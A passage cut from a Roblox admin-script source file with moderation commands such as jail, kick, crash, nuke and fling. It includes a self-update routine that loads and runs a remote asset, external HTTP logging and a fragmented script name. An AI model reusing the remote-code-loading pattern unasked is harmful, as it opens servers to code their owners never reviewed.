872 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
873 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
874 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
875 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
876 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
877 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
878 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
879 Cell:MoveTo(Vector3.new(0,3,0))
880
881 if Player.Character and Player.Character:FindFirstChild("Torso") then
882 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
883 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
884 end
885 table.insert(Dispose, Cell)
886 Jails[Player.Name] = Cell
887end
888
889function CORE:UnJail(Player)
890 if not Player then return nil end
891 if Jails[Player.Name] then
892 Jails[Player.Name]:Destroy()
893 Jails[Player.Name] = nil
894 end
895end
896
897function CORE:ChangeName(Player, NewName)
898 if not Player or not NewName then return nil end
899 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
900 local NewName = STRING:FormatReplace(Player, NewName)
901
902 for _,Obj in pairs(Player.Character:GetChildren()) do
903 if Obj.Name == "Label" then Obj:Destroy() end
904 end
905
906 local Head = Player.Character.Head
907 local HeadClone = Head:Clone()
908
909 -- make actual head invisible
910 Head.Transparency = 1
911 ypcall(function() Head.face.Transparency = 1 end)
912
913 -- make fake head visible
914 HeadClone.Transparency = 0
915 ypcall(function() HeadClone.face.Transparency = 0 end)
916
917 local Label = Instance.new("Model", Player.Character)
918 Label.Name = "Label"
919
920 local Model = Instance.new("Model", Label)
921 Model.Name = NewName
922
923 local HumanoidClone = Instance.new("Humanoid", Model)
924 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
925
926 HeadClone.Position = Vector3.new(0,100,0)
927 HeadClone.CanCollide = false
928 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
929
930
931 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
932 HeadClone.Parent = Model
933 local Weld = Instance.new("Weld", HeadClone)
934 Weld.Part0 = HeadClone
935 Weld.Part1 = Head
936 end)
937 end
938end
939
940function CORE:UpdateAdmin()
941 local UpdateModel = AdminID
942 if UpdateModel == 0 then return end
943 local NewAdminModel = nil
944 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
945 if NewAdminModel then
946 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
947 if NewAdmin then
948 local NewVersion = NewAdmin:FindFirstChild("Version")
949 if NewVersion.Value ~= CORE.Version.Value then
950 if ExploitModule then
951 ExploitModule.Disabled = true
952 ExploitModule:Destroy()
953 end
954 NewAdmin.Disabled = true
955 NewAdmin.Parent = Workspace
956 if not Settings then
957 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
958 if NewSettings then NewSettings.Parent = Workspace end
959 end
960 wait() NewAdmin.Disabled = false
961 CORE:RemoveAdmin()
962 else
963 NewAdminModel:Destroy()
964 end
965 end
966 end
967end
968
969function CORE:UnpackPlayers(Players)
970 local PlayerNames = ""
971 for Num,Player in pairs(Players) do
972 if Player ~= nil then
973 if Num ~= #Players then
974 PlayerNames = PlayerNames..Player.Name..", "
975 else
976 PlayerNames = PlayerNames..Player.Name
977 end
978 end
979 end
980 return PlayerNames
981end
982
983function CORE:GetValue(Value)
984 if Value:IsA("StringValue") then
985 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
986 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
987 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
988 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
989 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
990 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
991 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
992 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
993 if Admin == Value.Value then
994 table.remove(Settings.Ranks["Admin"],Num)
995 end
996 end
997 end end
998 end
999end
1000
1001function CORE:GetPlayer(ID)
1002 local Return = {"Unknown", ID}
1003 if tonumber(ID) then
1004 for _,Data in pairs(CharacterCache) do
1005 if ID == Data[2] then
1006 return Data
1007 end
1008 end
1009 ypcall(function()
1010 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1011 if Name then
1012 local Data = {Name, ID}
1013 table.insert(CharacterCache, Data)
1014 Return = Data
1015 end
1016 end)
1017 else
1018 local Name = tostring(ID)
1019 for _,Data in pairs(CharacterCache) do
1020 if string.lower(Name) == string.lower(Data[1]) then
1021 return Data
1022 end
1023 end
1024 ypcall(function()
1025 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1026 if PlayerID then
1027 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1028 local Data = {Name, PlayerID}
1029 table.insert(CharacterCache, Data)
1030 Return = Data
1031 end
1032 end)
1033 end
1034
1035 return Return
1036end
1037
1038function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1039 if ID and #tostring(ID) >= 1 then
1040 local PlayerName = nil
1041
1042 local Players = STRING:Scan(ID, Speaker)
1043 if #Players >= 1 then -- if player is found in server
1044 ID = Players[1].UserId
1045 elseif tonumber(ID) then
1046 local Data = CORE:GetPlayer(ID)
1047 PlayerName = Data[1]
1048 else
1049 local Data = CORE:GetPlayer(tostring(ID))
1050 PlayerName = Data[1]
1051 ID = Data[2]
1052 end
1053
1054 if tonumber(ID) == 20018 then -- exploding easter bunny
1055 local OldID = ID
1056 ID = 1
1057 if Speaker then
1058 if RANK:GetRank(Speaker) == "Member" then
1059 coroutine.wrap(function()
1060 wait(1)
1061 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1062 end)()
1063 else ID = OldID
1064 end
1065 end
1066 elseif tonumber(ID) == 1311 then -- ffjosh
1067 local OldID = ID
1068 ID = 1
1069 if Speaker then
1070 if RANK:GetRank(Speaker) == "Member" then
1071 coroutine.wrap(function()
1072 wait(1)
1073 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1074 end)()
1075 else ID = OldID
1076 end
1077 end
1078 end
1079
1080 if tonumber(ID) then
1081 local Position = nil
1082 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1083 if ManualPos then
1084 Position = ManualPos
1085 else
1086 Position = Player.Character.Torso.Position
1087 end
1088 end
1089 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1090 wait() Player:LoadCharacter() wait()
1091 if Position then Player.Character:MoveTo(Position) end
1092 if not Perm then
1093 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1094 end
1095 if NameChar and PlayerName then
1096 wait(2)
1097 CORE:ChangeName(Player, PlayerName)
1098 end
1099 end
1100 end
1101end)() end
1102
1103function CORE:GenerateShield(Player)
1104 if not Player then return nil end
1105 if not Player.Character then return nil end
1106 local Torso = Player.Character:FindFirstChild("Torso")
1107 if not Torso then return nil end
1108
1109 local Shield = Player.Character:FindFirstChild("Shield")
1110 if Shield then Shield:Destroy() end
1111
1112 Shield = Instance.new("Part", Player.Character)
1113 Shield.Name = "Shield"
1114 Shield.Locked = true
1115 Shield.CanCollide = false
1116 Shield.Size = Vector3.new(10,10,10)
1117 Shield.Shape = "Ball"
1118 Shield.Color = GUI:GetColor()
1119 Shield.Transparency = 0.5
1120 Shield.TopSurface = "Smooth"
1121 Shield.BottomSurface = "Smooth"
1122 Shield.Anchored = true
1123 Shield.Position = Torso.Position
1124
1125 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1126 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1127
1128 Hum:Play()
1129
1130 Shield.Touched:connect(function(Part)
1131 if Part.Parent ~= Server.Workspace then
1132 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1133 if Humanoid then
1134 local Char = Humanoid.Parent
1135 if Char:IsA("Model") and Humanoid.Health > 0 then
1136 if Char ~= Player.Character then
1137 Char:BreakJoints()
1138 Zap:Play()
1139 end
1140 end
1141 end
1142 end
1143 end)
1144
1145 coroutine.wrap(function() repeat wait()
1146 Shield.CFrame = Torso.CFrame
1147 until Torso.Parent == nil or Shield.Parent == nil end)()
1148end
1149
1150function CORE:FlingPlayer(Player)
1151 if Player and Player.Character then
1152 if Player.Character:FindFirstChild("Torso") then
1153 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1154 Fling.Name = "Fling"
1155 Fling.force = Vector3.new(10000,10000,10000)
1156 end
1157 end
1158end
1159
1160function CORE:Kick(Player, CustomMessage)
1161 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1162 coroutine.wrap(function()
1163 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1164 wait(1)
1165 Player:Kick(CustomMessage)
1166 end)()
1167end
1168
1169function CORE:Crash(Player)
1170 local Parent = Player
1171 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1172 elseif Player.Character then Parent = Player.Character end
1173
1174 CORE:ExecuteResource("Crash", Parent)
1175end
1176
1177function CORE:RestoreCamera(Player)
1178 if Player.Backpack then
1179 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1180 end
1181end
1182
1183function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1184 local function ScanInstance(Object)
1185 if #Object:GetChildren() > 0 then
1186 for _,Obj in pairs(Object:GetChildren()) do
1187 local IsType = false
1188 if ObjTypes and #ObjTypes > 0 then
1189 for _,ObjType in pairs(ObjTypes) do
1190 if Obj:IsA(ObjType) then
1191 IsType = true
1192 break
1193 end
1194 end
1195 else
1196 IsType = true
1197 end
1198 if IsType == true then
1199 ActiveFunc(Obj)
1200 end
1201 ScanInstance(Obj)
1202 end
1203 end
1204 end
1205 ScanInstance(BaseObj)
1206end
1207
1208function CORE:AnchorPlayer(Player)
1209 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1210
1211 Player.Character.Humanoid.WalkSpeed = 0
1212 for _,Object in pairs(Player.Character:GetChildren()) do
1213 if Object:IsA("BasePart") then
1214 Object.Anchored = true
1215 end
1216 end
1217end
1218
1219function CORE:UnanchorPlayer(Player)
1220 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1221
1222 Player.Character.Humanoid.WalkSpeed = 16
1223 for _,Object in pairs(Player.Character:GetChildren()) do
1224 if Object:IsA("BasePart") then
1225 Object.Anchored = false
1226 end
1227 end
1228end
1229
1230function CORE:InvisiblePlayer(Player)
1231 if not Player or not Player.Character then return end
1232
1233 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1234end
1235
1236function CORE:VisiblePlayer(Player)
1237 if not Player or not Player.Character then return end
1238
1239 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1240end
1241
1242function CORE:Nuke(Player) coroutine.wrap(function()
1243 local Pos = CFrame.new(0,1,0)
1244 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1245 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1246 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1247 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1248 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1249 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1250
1251 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1252
1253 Server.Lighting.Brightness = 5
1254 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1255 Server.OutdoorAmbient = Color3.new(1,1,1)
1256
1257 local Exp = Instance.new("Explosion", Server.Workspace)
1258 Exp.Position = Pos.p
1259 Exp.BlastPressure = 10000000
1260 Exp.BlastRadius = 1000000
1261 Exp.Hit:connect(function(Part)
1262 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1263 ypcall(function()
1264 Part.Anchored = false
1265 Part.BrickColor = BrickColor.new("Black")
1266 Part.Material = "Slate"
1267 Part:BreakJoints()
1268 end)
1269 end
1270 end)
1271
1272 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1273 BoomSound:Play()
1274 for i = 0,100,0.5 do
1275 Blast.Anchored = true
1276 Wave.Anchored = true
1277 BlastMesh.Scale = Vector3.new(i,i,i)
1278 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1279 Blast.CFrame = Pos
1280 wait()
1281 end
1282 BoomSound:Stop()
1283 Blast:Destroy()
1284 Wave:Destroy()
1285 wait()
1286 BoomSound:Destroy()
1287 Effect:Destroy()
1288 for i = 10,5,-1 do
1289 Server.Lighting.Brightness = (i-5) + 1
1290 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1291 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1292 wait(0.05)
1293 end
1294end)() end
1295
1296function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1297 local AssetID = tonumber(AssetID)
1298 local Item = nil
1299 if AssetID then
1300 local CanInsert = true
1301 if AbuseMode then
1302 for _,ID in pairs(RemoteAbuseGear) do
1303 if AssetID == ID then CanInsert = false break end
1304 end
1305 for _,ID in pairs(Settings.AbusableGear) do
1306 if AssetID == ID then CanInsert = false break end
1307 end
1308 end
1309 if CanInsert then
1310 Item = Server.IS:LoadAsset(AssetID)
1311
1312 if GetFirstChild then
1313 Item = Item:GetChildren()[1]
1314 if FirstChildTypes and Item then
1315 local ValidType = false
1316 for _,Type in pairs(FirstChildTypes) do
1317 if Item:IsA(Type) then
1318 ValidType = true
1319 break
1320 end
1321 end
1322 if ValidType == false then
1323 Item = nil
1324 end
1325 end
1326 end
1327 if Item and Parent then
1328 Item.Parent = Parent
1329 end
1330 end
1331 end
1332 return Item
1333end
1334
1335function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1336 if not Player or not Player.Character then return nil end
1337 PID = tonumber(PID)
1338 for _,Obj in pairs(Player.Character:GetChildren()) do
1339 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1340 end
1341 if PID then
1342 if PackageCache[PID] then
1343 for _,ID in pairs(PackageCache[PID]) do
1344 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1345 end
1346 else
1347 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1348 if IDsJSON then
1349 local IDs = REMOTE:Decode(IDsJSON)
1350 if IDs then
1351 if not IDs["Error"] then
1352 table.insert(PackageCache, IDs)
1353 for _,ID in pairs(IDs) do
1354 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1355 end
1356 end
1357 end
1358 end
1359 end
1360 end
1361end)() end
1362
1363function CORE:ChangeBet(Bet)
1364 if tostring(Bet) and Bet ~= Settings.Bet then
1365 for Index,Data in pairs(Commands) do
1366 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1367 end
1368 Settings.Bet = Bet
1369 end
1370end
1371
1372function CORE:ResetLighting()
1373 ModLighting = false wait(0.2) ModLighting = true
1374end
1375
1376function CORE:Fly(Player, Force)
1377 if Player and Player.Character then
1378 local StopFly = Instance.new("RemoteFunction", Player.Character)
1379 StopFly.Name = "StopMMLFly"
1380 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1381 end
1382end
1383
1384function CORE:GiveTools(Player, Type)
1385 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1386 Type = string.lower(Type)
1387 local _,RankNum = RANK:GetRank(Player)
1388 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1389 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1390
1391 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1392 for Name,Type in pairs(BaseBuildTools) do
1393 local Tool = Instance.new("HopperBin", Player.Backpack)
1394 Tool.Name = Name
1395 Tool.BinType = Type
1396 end
1397 elseif Type == "psbtools" then
1398 for _,Tool in pairs(BuildTools) do
1399 CORE:Insert(Tool, Player.Backpack, true)
1400 end
1401 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1402 if F3X then
1403 local F3X = F3X:Clone()
1404 F3X.Parent = Player.Backpack
1405 end
1406 elseif Type == "btools" then
1407 if F3X then
1408 local F3X = F3X:Clone()
1409 F3X.Parent = Player.Backpack
1410 end
1411 for Name,Type in pairs(BaseBuildTools) do
1412 local Tool = Instance.new("HopperBin", Player.Backpack)
1413 Tool.Name = Name
1414 Tool.BinType = Type
1415 end
1416 for _,Tool in pairs(BuildTools) do
1417 CORE:Insert(Tool, Player.Backpack, true)
1418 end
1419 else
1420 for _,Region in pairs(ToolRegions) do
1421 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1422 if Type == "all" then
1423 local NewItem = Item:Clone()
1424 NewItem.Parent = Player.Backpack
1425 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1426 local NewItem = Item:Clone()
1427 NewItem.Parent = Player.Backpack
1428 end
1429 end)
1430 end
1431 end
1432end
1433
1434function CORE:Scale(Player, ScalePercent)
1435 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1436 local Ratio = ScalePercent/100
1437 if Ratio < 0.05 then Ratio = 0.05 end
1438 if Ratio > 100 then Ratio = 100 end
1439 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1440 local Char = Player.Character
1441
1442 local Clean = Char:FindFirstChild("Clean")
1443 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1444 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1445
1446 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1447 local Welds = {}
1448 local Parts = {}
1449
1450 local function Handle(Obj)
1451 if Obj:IsA("BasePart") and not JustWeld then
1452 table.insert(Parts, Obj)
1453 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1454 if Obj.Name == "MML Mesh" then
1455 Obj:Destroy()
1456 end
1457 if Obj.MeshType == Enum.MeshType.FileMesh then
1458 Obj.Offset = Obj.Offset * ScaleRatio
1459 Obj.Scale = Obj.Scale * ScaleRatio
1460 elseif Ratio < 1 then
1461 Obj.Offset = Obj.Offset * ScaleRatio
1462 Obj.Scale = Obj.Scale * ScaleRatio
1463 end
1464 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1465 if Ratio < 1 then
1466 local BodyPart = ""
1467 local TextureID = Obj.BaseTextureId
1468 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1469 if TextureID == 0 then TextureID = nil end
1470 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1471 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1472 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1473 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1474 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1475 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1476 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1477 NewMesh.Name = "MML Mesh"
1478 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1479 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1480 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1481 Obj:Destroy()
1482 end
1483 elseif Obj:IsA("JointInstance") then
1484 local NewWeld = Obj:Clone()
1485 table.insert(Welds, {NewWeld, Obj.Parent})
1486 elseif NewAdd == true and not JustWeld then
1487 if Obj:IsA("Tool") then
1488 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1489 elseif Obj:IsA("Accoutrement") then
1490 --Cycle(Char.Head, ScaleRatio, false, true)
1491 end
1492 end
1493 if #Obj:GetChildren() > 0 then
1494 for _,NewObj in pairs(Obj:GetChildren()) do
1495 Handle(NewObj, ScaleRatio)
1496 end
1497 end
1498 end
1499 Handle(BaseObj)
1500 for _,Part in pairs(Parts) do
1501 if Ratio >= 1 then
1502 Part.Size = Part.Size * ScaleRatio
1503 else
1504 local Allowed = true
1505 for _,Obj in pairs(Part:GetChildren()) do
1506 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1507 Allowed = false
1508 end
1509 end
1510 if Allowed == true then
1511 local NewMesh = Instance.new("BlockMesh", Part)
1512 NewMesh.Name = "MML Mesh"
1513 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1514 end
1515 end
1516 end
1517 for _,WeldData in pairs(Welds) do
1518 if WeldData[1] then
1519 local Obj = WeldData[1]
1520 local NewWeld = Obj:Clone()
1521
1522 NewWeld.Parent = WeldData[2]
1523 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1524 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1525 end
1526 end
1527 for _,Part in pairs(Parts) do
1528 Part:MakeJoints()
1529 end
1530 Welds = {}
1531 Parts = {}
1532 end
1533 Cycle(Char, Ratio)
1534 Char:MakeJoints()
1535
1536 local Added = Char.ChildAdded:connect(function(Obj)
1537 Cycle(Obj, Ratio, NewAdd)
1538 end)
1539 local Removed = Char.ChildRemoved:connect(function(Obj)
1540 Cycle(Obj, Ratio^-1, NewAdd)
1541 end)
1542
1543 Clean.OnInvoke = function()
1544 Added:disconnect()
1545 Removed:disconnect()
1546 local Location = Vector3.new(0,5,0)
1547 if Char:FindFirstChild("Torso") then
1548 Location = Char.Torso.Position + Vector3.new(0,2,0)
1549 end
1550 Player:LoadCharacter()
1551 wait(0.5)
1552 Player.Character:MoveTo(Location)
1553 wait(0.5)
1554 return nil
1555 end
1556
1557 if Char:FindFirstChild("Torso") then
1558 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1559 end
1560 if Char:FindFirstChild("Humanoid") then
1561 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1562 end
1563 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1564 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1565 end
1566end
1567
1568function CORE:AddExploit(PlayerClient, Data)
1569 local PlayerClientName = PlayerClient.Name
1570 local NewData = CORE:GetTime(true, true).." @ "..Data
1571 for _,Player in pairs(Server.Players:GetChildren()) do
1572 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1573 end
1574 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1575 if type(ExploitLog) ~= "table" then
1576 Server.GDS:SetAsync("ExploitLog", {NewData})
1577 else
1578 table.insert(ExploitLog, NewData)
1579 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1580 end
1581 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1582
1583 return true
1584end
1585
1586function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1587 if not tostring(Name) then Name = "Dummy" end
1588 if not Position then Position = Vector3.new(0,5,0) end
1589 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1590 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1591 end
1592
1593 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1594 Figure:MakeJoints()
1595 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1596 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1597 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1598 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1599 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1600 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1601
1602 Figure.Name = STRING:FormatReplace(Speaker, Name)
1603 Figure:MoveTo(Position)
1604
1605 table.insert(Objects, Figure)
1606
1607 if DisableAnimation == true then
1608 Figure.Animate.Disabled = true
1609 end
1610
1611 return Figure
1612end
1613
1614function CORE:ClonePlayer(Player, Name, Position)
1615 if not Player or not Player.Character then return nil end
1616
1617 Player.Character.Archivable = true
1618 local Char = Player.Character:Clone()
1619 Player.Character.Archivable = false
1620 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1621 if Position then Char:MoveTo(Position) end
1622 Char.Parent = Server.Workspace
1623 Char:MakeJoints()
1624 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1625
1626 table.insert(Objects, Char)
1627
1628 return Obj
1629end
1630
1631function CORE:AddWaypoint(Name, Position, Speaker)
1632 Waypoints[Name] = Position
1633 if Speaker then
1634 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1635 end
1636end
1637
1638function CORE:FindType(BaseObj, Type)
1639 for _,Obj in pairs(BaseObj:GetChildren()) do
1640 if Obj:IsA(Type) then
1641 return Obj
1642 end
1643 end
1644end
1645
1646function CORE:GetCommands()
1647 local CommandsCopy = Commands
1648 return CommandsCopy
1649end
1650
1651function CORE:Crown(Player, Mesh, Color)
1652 if Mesh then Mesh = string.lower(Mesh) end
1653 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1654 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1655 local Part = Instance.new("Part", CrownStorage)
1656 Part.Size = Vector3.new(2, 1, 1)
1657 Part.CanCollide = false
1658 Part.CFrame = Player.Character.Head.CFrame
1659 Part.Locked = true
1660 Part.Material = "Neon"
1661 if Color then
1662 Part.Color = GUI:GetColor(Color)
1663 else
1664 Part.BrickColor = GUI:GetNameColor(Player.Name)
1665 end
1666 local SMesh = Instance.new("SpecialMesh", Part)
1667 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1668 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1669 local BP = Instance.new("BodyPosition", Part)
1670 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1671 BP.position = Player.Character.Head.Position
1672 BP.P = 20000
1673 local BG = Instance.new("BodyGyro", Part)
1674 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1675
1676 Crowns[Player.UserId] = Part
1677 table.insert(Objects, Part)
1678
1679 coroutine.wrap(function()
1680 for i = 1,0.3,-0.02 do
